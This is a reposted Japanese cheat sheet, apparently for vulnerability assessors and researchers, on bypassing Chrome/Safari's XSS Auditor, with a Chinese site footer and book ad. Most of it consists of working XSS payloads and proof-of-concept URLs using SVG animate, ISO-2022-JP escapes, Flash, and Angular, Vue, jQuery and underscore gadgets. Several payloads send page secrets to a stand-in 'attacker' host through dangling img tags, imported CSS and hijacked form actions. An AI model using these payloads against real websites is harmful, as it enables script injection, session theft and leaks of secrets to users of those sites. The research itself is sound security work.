Browser's XSS Filter Bypass Cheat Sheet

栏目: 编程工具 · 发布时间: 7年前

内容简介:Browser's XSS Filter Bypass Cheat Sheet

XSS Auditor、XSSフィルターのバイパスについてまとめたページです。Chrome/Safari、IE11/Edgeの最新版で動くものが掲載対象です。 あなたが脆弱性を診断する立場の人なら、攻撃可能であることを説得力を持って証明するために、あなたがセキュリティ研究者なら、更なるバイパスの発見にお役立てください。 掲載しているのは、一般的な状況でバイパスできるものです。ここに方法が載っていなくても、実際の場面で悪用できないと決まった訳ではありません。バイパスできるかどうかにかかわらず、必ず根本的なXSS対策を行うことをお勧めします。

目次

  • IE/EdgeのXSSフィルター

XSS Auditor

遮断対象でないもの

初めから保護が提供されていない文脈では、特別な細工なしにスクリプトを実行できる。

文字列リテラルで起こるXSS

https://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//

<script>var q="";alert(1)//"</script>

URL単独で成立するXSS(入力値が直接aタグのhref部分に入る場合など)

https://vulnerabledoma.in/bypass/link?q=javascript:alert(1)

<a href="javascript:alert(1)">Link</a>

2つ以上の注入ポイントがある場合

(2つ以上で起こるかなりのケースを遮断できているようにみえるが、過去に報告されたケース( #96616 #403636 )でWontFixになっていることから、遮断対象でない方に分類。)

https://vulnerabledoma.in/bypass/text?type=2&q=%60-alert(1)%3C/script%3E%3Cscript%3E%60

<div>`-alert(1)</script><script>`</div>
<div>`-alert(1)</script><script>`</div>

文字列の操作がある場合

一部の文字列が削除されたり置換されるとき、その文字列を間に置くと遮断できない。

削除される場合

https://vulnerabledoma.in/bypass/text?type=6&q=%3Csvg%20o%3Cscript%3Enload=alert(1)%3E

<svg o<script>nload=alert(1)>
↓
<svg onload=alert(1)>

置換される場合

https://vulnerabledoma.in/bypass/text?type=7&q=%3Cscript%3E/%26/-alert(1)%3C/script%3E

<script>/&/-alert(1)</script>
↓
<script>/&/-alert(1)</script>

リクエスト文字列を document.write() するもの以外のDOM based XSS

https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)%3E

<body>
<script>
hash=location.hash.slice(1);
document.body.innerHTML=decodeURIComponent(hash);
</script>
</body>

https://vulnerabledoma.in/bypass/dom_redirect#javascript:alert(1)

<script>
location.href=decodeURIComponent(location.hash.slice(1));
</script>

これ以下はスクリプトの実行には至らないが、記述が許容されており、ある程度攻撃に利用できる可能性を持つもの。

http(s):リンクの作成

https://vulnerabledoma.in/bypass/text?q=%3Ca%20href=https://attacker/%3ESession%20expired.%20Please%20login%20again.%3C/a%3E

<a href=https://attacker/>Session expired. Please login again.</a>

外部にリクエストを送信できるタグ

片方を閉じない引用符を使うなどして、画像などのリクエストに秘密情報を含むことができる場合がある。

https://vulnerabledoma.in/bypass/text?type=8&q=%3Cimg%20src=%22https://attacker/?data=

<p><img src="https://attacker/?data=</p>
<p>This is a secret text.</p>
<p id="x">AAA</p>

任意のCSSの記述

ページの見た目を偽装することだけでなく、同じページに機密情報を含んでいる場合、CSSのみを使って情報を取得できる可能性がある。詳しくはURLを参照。

参考URL:

http://vulnerabledoma.in/bypass/text?q=%3Cstyle%3E@import%20%27//attacker/test.css%27%3C/style%3E

<style>@import '//attacker/test.css'</style>

https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=stylesheet%20href=//attaker/test.css%3E

<link rel=stylesheet href=//attaker/test.css>

バイパス

<object> と <param name=url/code> の利用(Chromeのみ)

攻撃可能条件:

  1. 任意のタグが書けるXSSがある
  2. ターゲットの環境でFlashが利用できる

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always><param name=url value=https://l0.cm/xss.swf>

https://vulnerabledoma.in/bypass/text?q=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always><param name=code value=https://l0.cm/xss.swf>

SVGアニメーションのvalues属性の利用

攻撃可能条件:

  1. 任意のタグが書けるXSSがある

参考URL:

PoC(Chrome):

https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Canimate%20href=%23x%20attributeName=href%20values=%26%23x3000%3Bjavascript:alert(1)%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E%3C/a%3E

<svg><animate href=#x attributeName=href values= javascript:alert(1) /><a id=x><rect width=100 height=100 /></a>

PoC(Safari):

https://vulnerabledoma.in/char_test?body=%3Csvg%20xmlns:xlink=http://www.w3.org/1999/xlink%3E%3Canimate%20xlink:href=%23x%20attributeName=%22xlink:href%22%20values=%22%26%23x3000%3Bjavascript:alert(1)%22%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E%3C/a%3E

<svg xmlns:xlink=http://www.w3.org/1999/xlink><animate xlink:href=#x attributeName="xlink:href" values=" javascript:alert(1)" /><a id=x><rect width=100 height=100 /></a>

Flashとbaseタグの利用(Safariのみ)

攻撃可能条件:

  1. 任意のタグが書けるXSSがある
  2. 直後に空白文字がこないか、それ以降に '" がある
  3. ターゲットの環境でFlashが利用できる

参考URL:

PoC:

(直後に空白文字がない場合) https://vulnerabledoma.in/bypass/text?type=3&q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=//l0.cm/

<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>

(直後に空白文字がある場合) https://vulnerabledoma.in/bypass/text?type=4&q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=%22//l0.cm/

<div> <embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/ </div><div id="x"></div>

ISO-2022-JPのエスケープシーケンスの利用

攻撃可能条件:

  1. 任意のタグが書けるXSSがある
  2. ページに文字コード指定がない

補足:

ISO-2022-JPのHTML中において、 [0x1B](B[0x1B](H[0x1B](J というバイト列は無視される。これを反応文字列の間に挟むことでバイパスできる。また、Chrome/Safariでは、 [0x1B]$@[0x0A] といったバイト列は [0x0A] と同じ扱いとなるが、XSS Auditorはうまく解釈できずバイパスが起きる。

参考URL:

PoC:

<meta charset=iso-2022-jp><svg o[0x1B](Bnload=alert(1)>
<meta charset=iso-2022-jp><script>alert(1)[0x1B]$@[0x0A]</script>

リンクと半端なbaseタグの利用

  1. 任意のタグが書けるXSSがある
  2. 直後に空白文字がある
  3. それ以降に '" がある

PoC:

https://vulnerabledoma.in/bypass/text?type=4&q=%3Ca%20href=/**/alert(1)%3EXSS%3C/a%3E%3Cbase%20href=%22javascript:\

<div> <a href=/**/alert(1)>XSS</a><base href="javascript:\ </div><div id="x"></div>

同一ドメインのリソースの利用

XSS Auditorはクエリを持たない同一ドメインのリソースのロードを遮断しない。同一ドメインに攻撃に必要なリソースを配置できた場合、いくつかのケースでバイパスが可能になる。

パスにXSSがあるケース(Chromeのみ)

攻撃可能条件:

  1. 任意のタグが書けるXSSがパスにある
  2. そのページの表示にクエリを必要としない

PoC:

https://vulnerabledoma.in/bypass/path/%3Clink%20rel=import%20href=%22%2Fbypass%2Fpath%2F%3Cscript%3Ealert(1)%3C%2Fscript%3E%22%3E

PATH_INFO:/<link rel=import href="/bypass/path/<script>alert(1)</script>">

ファイルのアップロード機能

攻撃可能条件:

  1. 任意のタグが書けるXSSがある
  2. 同じオリジンにユーザーがアップロードしたファイルをホストしている

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=/bypass/usercontent/xss.js%3E%3C/script%3E

<script src=/bypass/usercontent/xss.js></script>

(Chromeのみ) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/usercontent/icon.jpg%3E

<link rel=import href=/bypass/usercontent/icon.jpg>

Flashと flashvars の利用

攻撃可能条件:

  1. 任意のタグが書けるXSSがある
  2. 同じオリジンに ExnternalInterface.call() にパラメータ文字列を未エスケープで渡しているFlashがある
  3. ターゲットの環境でFlashが利用できる

補足:

flashvars 属性を使えば、直接クエリにFlashのパラメータを与えなくても、パラメータ渡しできる。(= Flash側で、直接Flashを開くことによるXSSの対策としてURLからのパラメータ渡しが制限されている場合でも flashvars で渡すことができる。) なお、 Content-Security-Policy: default-src 'self' のようなCSPがある時などに、CSPのバイパスにも利用できる。

PoC:

https://vulnerabledoma.in/bypass/text?csp=self&q=%3Cembed%20name=a%20flashvars=%27autoplay=true%26file=%22})\%22)-(alert=alert(1)))}catch(e){}//%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E

<embed name=a flashvars='autoplay=true&file="})\")-(alert=alert(1)))}catch(e){}//' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>

ActionScript:

ExternalInterface.call("setTimeout", ExternalInterface.objectID + '_event' + "('" + eventName + "'," + eventValues + ")", 0);

Flashの ExternalInterface.objectIDExternalInterface.call() の利用

攻撃可能条件:

  1. 任意のタグが書けるXSSがある
  2. 同じオリジンに ExternalInterface.objectIDExternalInterface.call() に渡されているFlashがある
  3. ターゲットの環境でFlashが利用できる

補足:

ExternalInterface.objectID は埋め込みに利用されたタグのname属性の値が設定されるプロパティであり、単独ではXSSできないが、バイパスに限っては利用できる。なお、 Content-Security-Policy: default-src 'self' のようなCSPの制限がある時などに、CSPのバイパスにも利用できる。

PoC:

https://vulnerabledoma.in/bypass/text?csp=self&q=%3Cembed%20name=%27alert(1)-%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E

<embed name='alert(1)-' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>

ActionScript:

ExternalInterface.call(ExternalInterface.objectID + '_init');

Angularの利用

攻撃可能条件:

  1. 任意のタグが書けるXSSがある
  2. 同じオリジン上に、Angularをホストしているか、CORSに対応したCDNからAngularをロードしているページがある

補足:

Angularはng-appという属性を持つタグ内で{{}}で囲まれたテンプレートを展開しようとする。テンプレートはスクリプトを実行できる。

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=%22/js/angular1.6.4.min.js%22%3E%3C/script%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}

<script src="/js/angular1.6.4.min.js"></script><p ng-app>{{constructor.constructor('alert(1)')()}}

同じオリジン上に、CORSに対応したCDNからAngularをロードしているページがあれば、HTML Importsから間接的にロードすることで外部オリジンのリソースでもロードできる。

(Chromeのみ) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=angular.html%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}

<link rel=import href=angular.html><p ng-app>{{constructor.constructor('alert(1)')()}}

Vue.js の利用

  1. 任意のタグが書けるXSSがある
  2. 同じオリジン上に、Vue.jsをホストしているか、CORSに対応したCDNからロードしているページがある
  3. 細工したタグに対してテンプレートの展開を実行できるスクリプトがそのページまたは同じオリジン上に存在する

PoC:

(この例はChromeのみ) http://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/vue.html%3E%3Cdiv%20id=app%3E{{constructor.constructor(%27alert(1)%27)()}}

<link rel=import href=/bypass/vue.html><div id=app>{{constructor.constructor('alert(1)')()}}

jQueryの利用

攻撃可能条件:

  1. 任意のタグが書けるXSSがある
  2. 同じオリジン上に、jQueryをホストしているか、CORSに対応したCDNからjQueryをロードしているページがある
  3. 細工したformタグに対してjQueryの追加系関数を実行できるスクリプトがそのページまたは同じオリジン上に存在する

補足:

jQueryの追加系関数とは、 after , before , prepend , append , html , replaceWith , wrap , wrapAll , insertBefore , insertAfter , prependTo , appendTo などのこと。 ownerDocument というname属性を持ったフォーム部品を使うことで、 Node.ownerDocument の参照先を誤解させ、本来スクリプトを実行させない場面で実行してしまう(このような手法は DOM Clobbering という名で知られる)。さらに、実行前にスクリプトブロックの <!--削除する処理がある ことと、Auditorはコメントしか含まないスクリプトブロックを遮断しないことが組み合わさってバイパスが起こっている。

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?type=5&q=%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%3Cscript%3E%3C!--alert(1)%3C/script%3E%3C/form%3E

<!DOCTYPE html>
<html>
<head>
<script src="/js/jquery-3.2.1.min.js"></script>
<script>
$(document).ready(function(){
    // code taken from http://api.jquery.com/after/
    $( ".container" ).after( $( ".child" ) );
});
</script>
</head>
<body>
<!-- XSS -->
<form class=child><input name=ownerDocument><script><!--alert(1)</script></form>
<!-- XSS -->
<p class="container"></p>
</body>
<!-- Inspired by @sirdarckcat CSP bypass trick: https://sirdarckcat.github.io/csp/jquery.html -->
</html>

(この例はChromeのみ) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/jquery.html%3E%3Cp%20class=container%3E%3C/p%3E%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%3Cscript%3E%3C!--alert(1)%3C/script%3E%3C/form%3E

<link rel=import href=/bypass/jquery.html><p class=container></p><form class=child><input name=ownerDocument><script><!--alert(1)</script></form>

underscore.jsの利用

攻撃可能条件:

  1. 任意のタグが書けるXSSがある
  2. 同じオリジン上に、underscore.jsをホストしているか、CORSに対応したCDNからそれらをロードしているページがある
  3. 細工したscriptタグに対してテンプレートの展開を実行できるスクリプトがそのページまたは同じオリジン上に存在する

PoC:

(この例はChromeのみ) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/underscore.html%3E%3Cscript%20id=template%3E//%3C%alert`1`%%3E%3C/script%3E

<link rel=import href=/bypass/underscore.html><script id=template>//<%alert`1`%></script>

JSXTransformer/babel-standaloneなどのJSX変換スクリプトの利用

攻撃可能条件:

  1. 任意のタグが書けるXSSがある
  2. 同じオリジン上に、JSXTransformer.jsなどのJSX変換スクリプトをホストしているか、CORSに対応したCDNからそれらをロードしているページがある

補足:

変換スクリプトがSVGのスクリプトブロックをHTMLのスクリプトブロックと同じようにパースしていることを利用。本来は実行されない <!-- から --> に囲まれたコメント部分がスクリプトとして評価される。

PoC:

(この例はChromeのみ) https://vulnerabledoma.in/bypass/text?charset=utf-8&type=1&q=%3Clink%20rel=import%20href=/bypass/babel-standalone.html%3E%3Csvg%3E%3Cscript%20type=%22text/jsx%22%3E//%3C!--%0aalert(1)//--%3E%3C/svg%3E%3Cscript%3E0%3C/script%3E

<link rel=import href=/bypass/babel-standalone.html><svg><script type=text/jsx>//<!--
alert(1)//--></svg><script>0</script>

半端なformタグの利用(情報の取得のみ)

攻撃可能条件:

  1. 任意のタグが書けるXSSがある
  2. formタグがある
  3. 秘密情報を含む既存のフォーム内容の送信先になれる位置に新たなformタグを置ける

参考URL:

PoC:

(フォーム内にいる場合) https://vulnerabledoma.in/bypass/form?q=%22%3E%3C/form%3E%3Cform%20action=https://attacker/

<form action="form">
<input type="hidden" name="q" value=""></form><form action=https://attacker/">
<input type="hidden" name="q2" value="">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>

(フォーム外にいる場合) https://vulnerabledoma.in/bypass/form2?q=%3Cbutton%20form=f%3ECLICK%3Cform%20id=f%20action=https://attacker/

<div><button form=f>CLICK<form id=f action=https://attacker/</div>
<form action="form2">
<input type="hidden" name="secret" value="a09d3ef0">
</form>

過去のバイパス

WIP

IE/EdgeのXSSフィルター

WIP

遮断対象でないもの

バイパス

過去のバイパス


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

搜索引擎

搜索引擎

李晓明 / 科学出版社发行部 / 2005-4 / 33.00元

《搜索引擎:原理技术与系统》系统地介绍了互联网搜索引擎的工作原理、实现技术及其系统构建方案。《搜索引擎:原理技术与系统》分三篇共13章内容,从基本工作原理概述,到一个小型简单搜索引擎具体细节的实现,进而详细讨论了大规模分布式搜索引擎系统的设计要点及其关键技术;最后介绍了面向主题和个性化的web信息服务,阐述了中文网页自动分类等技术及其应用。《搜索引擎:原理技术与系统》层次分明,由浅入深;既有深入的......一起来看看 《搜索引擎》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

html转js在线工具
html转js在线工具

html转js在线工具